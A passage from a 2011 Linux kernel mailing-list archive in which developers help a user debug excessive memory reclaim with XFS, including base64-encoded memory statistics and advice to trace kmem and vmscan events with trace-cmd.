c3RhdHMgdGhyZXNob2xkOiAxMDAKICAgIGNwdTogNwogICAgICAgICAgICAgIGNvdW50OiAxNjEK ICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3Rh dHMgdGhyZXNob2xkOiAxMDAKICAgIGNwdTogOAogICAgICAgICAgICAgIGNvdW50OiAxMzcKICAg ICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMg dGhyZXNob2xkOiAxMDAKICAgIGNwdTogOQogICAgICAgICAgICAgIGNvdW50OiAxNjkKICAgICAg ICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhy ZXNob2xkOiAxMDAKICAgIGNwdTogMTAKICAgICAgICAgICAgICBjb3VudDogMjcKICAgICAgICAg ICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNo b2xkOiAxMDAKICAgIGNwdTogMTEKICAgICAgICAgICAgICBjb3VudDogMTY0CiAgICAgICAgICAg ICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9s ZDogMTAwCiAgICBjcHU6IDEyCiAgICAgICAgICAgICAgY291bnQ6IDE3NwogICAgICAgICAgICAg IGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6 IDEwMAogICAgY3B1OiAxMwogICAgICAgICAgICAgIGNvdW50OiAxODAKICAgICAgICAgICAgICBo aWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAx MDAKICAgIGNwdTogMTQKICAgICAgICAgICAgICBjb3VudDogMTgwCiAgICAgICAgICAgICAgaGln aDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAw CiAgICBjcHU6IDE1CiAgICAgICAgICAgICAgY291bnQ6IDE4MwogICAgICAgICAgICAgIGhpZ2g6 ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAog ICAgY3B1OiAxNgogICAgICAgICAgICAgIGNvdW50OiA5OAogICAgICAgICAgICAgIGhpZ2g6ICAx ODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAg Y3B1OiAxNwogICAgICAgICAgICAgIGNvdW50OiAxNzAKICAgICAgICAgICAgICBoaWdoOiAgMTg2 CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMDAKICAgIGNw dTogMTgKICAgICAgICAgICAgICBjb3VudDogOTIKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAg ICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMDAKICAgIGNwdTog MTkKICAgICAgICAgICAgICBjb3VudDogMTU3CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAg ICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDIw CiAgICAgICAgICAgICAgY291bnQ6IDE2MgogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAg ICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1OiAyMQog ICAgICAgICAgICAgIGNvdW50OiAxNzcKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAgICAg ICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMDAKICAgIGNwdTogMjIKICAg ICAgICAgICAgICBjb3VudDogMTU3CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAg ICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDIzCiAgICAg ICAgICAgICAgY291bnQ6IDE3MQogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAg ICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogIGFsbF91bnJlY2xhaW1hYmxl OiAwCiAgc3RhcnRfcGZuOiAgICAgICAgIDEwNDg1NzYKICBpbmFjdGl2ZV9yYXRpbzogICAgMjEK Tm9kZSAxLCB6b25lICAgTm9ybWFsCiAgcGFnZXMgZnJlZSAgICAgMjc5MDIxMAogICAgICAgIG1p biAgICAgIDM3NQogICAgICAgIGxvdyAgICAgIDQ2OAogICAgICAgIGhpZ2ggICAgIDU2MgogICAg ICAgIHNjYW5uZWQgIDAKICAgICAgICBzcGFubmVkICAxMjU4MjkxMgogICAgICAgIHByZXNlbnQg IDEyNDEwODgwCiAgICBucl9mcmVlX3BhZ2VzIDI3OTAyMTAKICAgIG5yX2luYWN0aXZlX2Fub24g NTUxMzA5CiAgICBucl9hY3RpdmVfYW5vbiAzMDQzODYxCiAgICBucl9pbmFjdGl2ZV9maWxlIDIz MTEwMjUKICAgIG5yX2FjdGl2ZV9maWxlIDIzMTAwNTkKICAgIG5yX3VuZXZpY3RhYmxlIDAKICAg IG5yX21sb2NrICAgICAwCiAgICBucl9hbm9uX3BhZ2VzIDMyOTczNzgKICAgIG5yX21hcHBlZCAg ICAxNDE2OTkKICAgIG5yX2ZpbGVfcGFnZXMgNDkxODg5NgogICAgbnJfZGlydHkgICAgIDUxNTU5 CiAgICBucl93cml0ZWJhY2sgMAogICAgbnJfc2xhYl9yZWNsYWltYWJsZSA4NjI2MzgKICAgIG5y X3NsYWJfdW5yZWNsYWltYWJsZSAxMjM4MzAKICAgIG5yX3BhZ2VfdGFibGVfcGFnZXMgMTQ1Mjcz CiAgICBucl9rZXJuZWxfc3RhY2sgMTQ5NwogICAgbnJfdW5zdGFibGUgIDAKICAgIG5yX2JvdW5j ZSAgICAwCiAgICBucl92bXNjYW5fd3JpdGUgMTAxNTY0NjUKICAgIG5yX3dyaXRlYmFja190ZW1w IDAKICAgIG5yX2lzb2xhdGVkX2Fub24gMAogICAgbnJfaXNvbGF0ZWRfZmlsZSAwCiAgICBucl9z aG1lbSAgICAgMjk3Nzk4CiAgICBucl9kaXJ0aWVkICAgMjE2NDczOTg2CiAgICBucl93cml0dGVu ICAgMTkxNTI0MzA4CiAgICBudW1hX2hpdCAgICAgNDM3MTE4Nzk5MTMKICAgIG51bWFfbWlzcyAg ICA2OTAwNjY3NjUKICAgIG51bWFfZm9yZWlnbiAzNzcyNTA5NjYKICAgIG51bWFfaW50ZXJsZWF2 ZSAyNzgxMAogICAgbnVtYV9sb2NhbCAgIDQzNzExODQ3OTc3CiAgICBudW1hX290aGVyICAgNjkw MDk4NzAxCiAgICAgICAgcHJvdGVjdGlvbjogKDAsIDAsIDAsIDApCiAgcGFnZXNldHMKICAgIGNw dTogMAogICAgICAgICAgICAgIGNvdW50OiAxNTkKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAg ICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMDAKICAgIGNwdTog MQogICAgICAgICAgICAgIGNvdW50OiA3MQogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAg ICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1OiAyCiAg ICAgICAgICAgICAgY291bnQ6IDE3NQogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAg ICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1OiAzCiAgICAg ICAgICAgICAgY291bnQ6IDE4MAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAg ICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1OiA0CiAgICAgICAg ICAgICAgY291bnQ6IDE4MQogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBi YXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1OiA1CiAgICAgICAgICAg ICAgY291bnQ6IDc0CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNo OiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDYKICAgICAgICAgICAgICBj b3VudDogMTcwCiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAz MQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDcKICAgICAgICAgICAgICBjb3Vu dDogMTU5CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQog IHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDgKICAgICAgICAgICAgICBjb3VudDog MTc2CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZt IHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDkKICAgICAgICAgICAgICBjb3VudDogMTYx CiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0 YXRzIHRocmVzaG9sZDogMTAwCiAgICBjcHU6IDEwCiAgICAgICAgICAgICAgY291bnQ6IDE4MAog ICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0 cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1OiAxMQogICAgICAgICAgICAgIGNvdW50OiA1CiAgICAg ICAgICAgICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRo cmVzaG9sZDogMTAwCiAgICBjcHU6IDEyCiAgICAgICAgICAgICAgY291bnQ6IDE4NAogICAgICAg ICAgICAgIGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJl c2hvbGQ6IDEwMAogICAgY3B1OiAxMwogICAgICAgICAgICAgIGNvdW50OiAxMjIKICAgICAgICAg ICAgICBoaWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNo b2xkOiAxMDAKICAgIGNwdTogMTQKICAgICAgICAgICAgICBjb3VudDogMTY4CiAgICAgICAgICAg ICAgaGlnaDogIDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9s ZDogMTAwCiAgICBjcHU6IDE1CiAgICAgICAgICAgICAgY291bnQ6IDEyMwogICAgICAgICAgICAg IGhpZ2g6ICAxODYKICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6 IDEwMAogICAgY3B1OiAxNgogICAgICAgICAgICAgIGNvdW50OiAxNTUKICAgICAgICAgICAgICBo aWdoOiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAx MDAKICAgIGNwdTogMTcKICAgICAgICAgICAgICBjb3VudDogMzcKICAgICAgICAgICAgICBoaWdo OiAgMTg2CiAgICAgICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMDAK ICAgIGNwdTogMTgKICAgICAgICAgICAgICBjb3VudDogMTc3CiAgICAgICAgICAgICAgaGlnaDog IDE4NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAg ICBjcHU6IDE5CiAgICAgICAgICAgICAgY291bnQ6IDQ0CiAgICAgICAgICAgICAgaGlnaDogIDE4 NgogICAgICAgICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgICBj cHU6IDIwCiAgICAgICAgICAgICAgY291bnQ6IDE4NQogICAgICAgICAgICAgIGhpZ2g6ICAxODYK ICAgICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1 OiAyMQogICAgICAgICAgICAgIGNvdW50OiAyOAogICAgICAgICAgICAgIGhpZ2g6ICAxODYKICAg ICAgICAgICAgICBiYXRjaDogMzEKICB2bSBzdGF0cyB0aHJlc2hvbGQ6IDEwMAogICAgY3B1OiAy MgogICAgICAgICAgICAgIGNvdW50OiAxNzIKICAgICAgICAgICAgICBoaWdoOiAgMTg2CiAgICAg ICAgICAgICAgYmF0Y2g6IDMxCiAgdm0gc3RhdHMgdGhyZXNob2xkOiAxMDAKICAgIGNwdTogMjMK ICAgICAgICAgICAgICBjb3VudDogMTkwCiAgICAgICAgICAgICAgaGlnaDogIDE4NgogICAgICAg ICAgICAgIGJhdGNoOiAzMQogIHZtIHN0YXRzIHRocmVzaG9sZDogMTAwCiAgYWxsX3VucmVjbGFp bWFibGU6IDAKICBzdGFydF9wZm46ICAgICAgICAgMTMwNDE2NjQKICBpbmFjdGl2ZV9yYXRpbzog ICAgMjEK --0016e6de1501f6fc6c049f99edb8 Content-Type: application/octet-stream; name=meminfo Content-Disposition: attachment; filename=meminfo Content-Transfer-Encoding: base64 X-Attachment-Id: f_gluhy4md1 TWVtVG90YWw6ICAgICAgIDk5MTQ5NDI4IGtCCk1lbUZyZWU6ICAgICAgICAxOTIyNDQ3NiBrQgpC dWZmZXJzOiAgICAgICAgICAgICAgIDAga0IKQ2FjaGVkOiAgICAgICAgIDQwOTY4MTEyIGtCClN3 YXBDYWNoZWQ6ICAgICAgICAgICAgMCBrQgpBY3RpdmU6ICAgICAgICAgNDM2NjY2MTYga0IKSW5h Y3RpdmU6ICAgICAgIDI1MTYxODI4IGtCCkFjdGl2ZShhbm9uKTogICAyNTk0MTE4MCBrQgpJbmFj dGl2ZShhbm9uKTogIDQwOTM0NzIga0IKQWN0aXZlKGZpbGUpOiAgIDE3NzI1NDM2IGtCCkluYWN0 aXZlKGZpbGUpOiAyMTA2ODM1NiBrQgpVbmV2aWN0YWJsZTogICAgICAgICAgIDAga0IKTWxvY2tl ZDogICAgICAgICAgICAgICAwIGtCClN3YXBUb3RhbDogICAgICAgICAgICAgMCBrQgpTd2FwRnJl ZTogICAgICAgICAgICAgIDAga0IKRGlydHk6ICAgICAgICAgICAgNTA2NzkyIGtCCldyaXRlYmFj azogICAgICAgICAgICAgMCBrQgpBbm9uUGFnZXM6ICAgICAgMjc4NTk5Mjgga0IKTWFwcGVkOiAg ICAgICAgICAxMDMxMDEyIGtCClNobWVtOiAgICAgICAgICAgMjE3NDIzNiBrQgpTbGFiOiAgICAg ICAgICAgIDgwMDk2MDgga0IKU1JlY2xhaW1hYmxlOiAgICA3MDUyNTE2IGtCClNVbnJlY2xhaW06 ICAgICAgIDk1NzA5MiBrQgpLZXJuZWxTdGFjazogICAgICAgMjI4OTYga0IKUGFnZVRhYmxlczog ICAgICAgODUyNjgwIGtCCk5GU19VbnN0YWJsZTogICAgICAgICAgMCBrQgpCb3VuY2U6ICAgICAg ICAgICAgICAgIDAga0IKV3JpdGViYWNrVG1wOiAgICAgICAgICAwIGtCCkNvbW1pdExpbWl0OiAg ICA0OTU3NDcxMiBrQgpDb21taXR0ZWRfQVM6ICAgMzAxMzYyNzQ4IGtCClZtYWxsb2NUb3RhbDog ICAzNDM1OTczODM2NyBrQgpWbWFsbG9jVXNlZDogICAgICA2MzU1NDgga0IKVm1hbGxvY0NodW5r OiAgIDM0MjU4OTU5MzYwIGtCCkRpcmVjdE1hcDRrOiAgICAgICAgMTI4NCBrQgpEaXJlY3RNYXAy TTogICAgIDMwODQyODgga0IKRGlyZWN0TWFwMUc6ICAgIDk3NTE3NTY4IGtCCg== --0016e6de1501f6fc6c049f99edb8-- From johnlepikhin@gmail.com Tue Mar 29 02:22:52 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T7MqSq213832 for ; Tue, 29 Mar 2011 02:22:52 -0500 X-ASG-Debug-ID: 1301383561-637c03230000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-wy0-f181.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 859EB1B60BFA for ; Tue, 29 Mar 2011 00:26:01 -0700 (PDT) Received: from mail-wy0-f181.google.com (mail-wy0-f181.google.com [74.125.82.181]) by cuda.sgi.com with ESMTP id E3W55qsuCTjHeBUl for ; Tue, 29 Mar 2011 00:26:01 -0700 (PDT) Received: by wyi11 with SMTP id 11so3124363wyi.26 for ; Tue, 29 Mar 2011 00:26:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=bTGbzmM7YuzrOWSy3UKWgcXVaWYQl7/B4/PeutBjTr8=; b=w88ZYC87Od5R8zjU2ylWsGEGJnwKjdj8dlaAm0GyTKy1+hEqkwMroxRslCw/z4RNjg gm2jnGBckbUpkWdQkfmbHCvfEuy+zy2ZGOFqORX5C0xdQvY7Zd0+3xgATiCnK07BKpjT n044/ntkYh/Arm3DwZdebWSpu1CatR7vAzGNQ= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=dV6gE48SVMJeJU0XtWJTF4VrI03R+UgnuyFeilT3eLtqNLN5iZnE2V390Uja8+T8up HccEcycvBck4L2v/D1si1/99hecg+638CdwclbHsyZgwXXI6DLnpipEoYrSpOwaKu+8i UsTlxAYzT6vd8eJeOxDM5moMCFrOYkXRWT1H8= MIME-Version: 1.0 Received: by 10.216.152.193 with SMTP id d43mr4684481wek.53.1301383560835; Tue, 29 Mar 2011 00:26:00 -0700 (PDT) Received: by 10.216.254.163 with HTTP; Tue, 29 Mar 2011 00:26:00 -0700 (PDT) In-Reply-To: <20110328215344.GC3008@dastard> References: <20110328215344.GC3008@dastard> Date: Tue, 29 Mar 2011 11:26:00 +0400 Message-ID: X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim From: John Lepikhin To: Dave Chinner Cc: linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-wy0-f181.google.com[74.125.82.181] X-Barracuda-Start-Time: 1301383562 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0024 1.0000 -2.0056 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.01 X-Barracuda-Spam-Status: No, SCORE=-2.01 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59289 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean 2011/3/29 Dave Chinner : > First it would be useful to determine why the VM is reclaiming so > much memory. If it is somewhat predictable when the excessive > reclaim is going to happen, it might be worth capturing an event > trace from the VM so we can see more precisely what it is doiing > during this event. In that case, recording the kmem/* and vmscan/* > events is probably sufficient to tell us what memory allocations > triggered reclaim and how much reclaim was done on each event. Do you mean I must add some debug to mm functions? I don't know any other way to catch such events. From johnlepikhin@gmail.com Tue Mar 29 02:30:23 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T7UNOs214218 for ; Tue, 29 Mar 2011 02:30:23 -0500 X-ASG-Debug-ID: 1301384013-637b03250000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-ww0-f51.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id BDB351B60C6F for ; Tue, 29 Mar 2011 00:33:33 -0700 (PDT) Received: from mail-ww0-f51.google.com (mail-ww0-f51.google.com [74.125.82.51]) by cuda.sgi.com with ESMTP id FnVi5WrfNxUJ7P6H for ; Tue, 29 Mar 2011 00:33:33 -0700 (PDT) Received: by wwf26 with SMTP id 26so3199117wwf.32 for ; Tue, 29 Mar 2011 00:33:32 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=OyVloSbdUC0hHHVwllYEHs2E40rI2OhLBfsBAt/JYkg=; b=GWaVZSANI3PWFaBDiI1h2VzIaC/T43CjODI+GxMGtvKDJlaBq6hlAgRAxHNNAIohVE xWbdR28GYcygubx/FmmLzUu8DmOrf4EvRMqV0+UnkBZ/C2EParDiS8+zWLmT4oofhISc lCo5Os8nfYwrZcODubJ32lkjKuYTLr2QO2z7Q= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; b=C4rw2yjzx6b5CLHLJBc25LHf4wbYMbRKXw+Oll6svEcDjgtJO+32HRa+t/zpCPw5SD 3weU+ZZqz6FAZz5aeqM2+57h/9Yqfek46N5KkA3fUyF0B16pHmYBiYp2kPHU3H5kHfmE ymRLz+vmgoHqi6pweoBsJknT/AHt7F9CU07w8= MIME-Version: 1.0 Received: by 10.216.30.206 with SMTP id k56mr1075331wea.23.1301384012522; Tue, 29 Mar 2011 00:33:32 -0700 (PDT) Received: by 10.216.254.163 with HTTP; Tue, 29 Mar 2011 00:33:32 -0700 (PDT) In-Reply-To: <20110329115546.C08C.A69D9226@jp.fujitsu.com> References: <20110328215344.GC3008@dastard> <20110329115546.C08C.A69D9226@jp.fujitsu.com> Date: Tue, 29 Mar 2011 11:33:32 +0400 Message-ID: X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim From: John Lepikhin To: KOSAKI Motohiro Cc: Minchan Kim , Dave Chinner , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org Content-Type: text/plain; charset=ISO-8859-1 X-Barracuda-Connect: mail-ww0-f51.google.com[74.125.82.51] X-Barracuda-Start-Time: 1301384013 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0209 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.59289 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean 2011/3/29 KOSAKI Motohiro : > If my remember is correct, 2.6.38 is included Mel's anti agressive > reclaim patch. And original report seems to be using 2.6.37.x. > > John, can you try 2.6.38? I'll ask my boss about it. Unfortunately we found opposite issue with memory management + XFS (100M of inodes) on 2.6.38: some objects in xfs_inode and dentry slabs are seems to be never cleared (at least without "sync && echo 2 >.../drop_caches"). But this is not a production machine working 24x7, so we don't care about it right now. From avi@redhat.com Tue Mar 29 03:56:37 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T8ua5o218685 for ; Tue, 29 Mar 2011 03:56:37 -0500 X-ASG-Debug-ID: 1301389186-529c03a90000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 41206387C24 for ; Tue, 29 Mar 2011 01:59:46 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id XZNK1DSGAq9u8o8H for ; Tue, 29 Mar 2011 01:59:46 -0700 (PDT) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p2T8xbTb019858 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 29 Mar 2011 04:59:37 -0400 Received: from balrog.tlv.redhat.com (dhcp-1-27.tlv.redhat.com [10.35.1.27]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p2T8xXW2004155 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 29 Mar 2011 04:59:35 -0400 Message-ID: <4D919F75.5070601@redhat.com> Date: Tue, 29 Mar 2011 10:59:33 +0200 From: Avi Kivity User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.15) Gecko/20110307 Fedora/3.1.9-0.39.b3pre.fc14 Lightning/1.0b3pre Thunderbird/3.1.9 MIME-Version: 1.0 To: John Lepikhin CC: Dave Chinner , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-mm@kvack.org X-ASG-Orig-Subj: Re: Very aggressive memory reclaim Subject: Re: Very aggressive memory reclaim References: <20110328215344.GC3008@dastard> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1301389187 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On 03/29/2011 09:26 AM, John Lepikhin wrote: > 2011/3/29 Dave Chinner: > > > First it would be useful to determine why the VM is reclaiming so > > much memory. If it is somewhat predictable when the excessive > > reclaim is going to happen, it might be worth capturing an event > > trace from the VM so we can see more precisely what it is doiing > > during this event. In that case, recording the kmem/* and vmscan/* > > events is probably sufficient to tell us what memory allocations > > triggered reclaim and how much reclaim was done on each event. > > Do you mean I must add some debug to mm functions? I don't know any > other way to catch such events. Download and build trace-cmd (git://git.kernel.org/pub/scm/linux/kernel/git/rostedt/trace-cmd.git), and do $ trace-cmd record -e kmem -e vmscan -b 30000 Hit ctrl-C when done and post the output file generated in cwd. -- error compiling committee.c: too many arguments to function From amir73il@gmail.com Tue Mar 29 03:57:52 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00,FREEMAIL_FROM, T_DKIM_INVALID autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2T8vpDJ218746 for ; Tue, 29 Mar 2011 03:57:52 -0500 X-ASG-Debug-ID: 1301389261-217101510000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mail-qw0-f53.google.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 3BB23387C2F for ; Tue, 29 Mar 2011 02:01:01 -0700 (PDT) Received: from mail-qw0-f53.google.com (mail-qw0-f53.google.com [209.85.216.53]) by cuda.sgi.com with ESMTP id XWAsFKSiEYYDzJEg for ; Tue, 29 Mar 2011 02:01:01 -0700 (PDT) Received: by qwb7 with SMTP id 7so2393257qwb.26 for ; Tue, 29 Mar 2011 02:01:01 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:in-reply-to:references:date 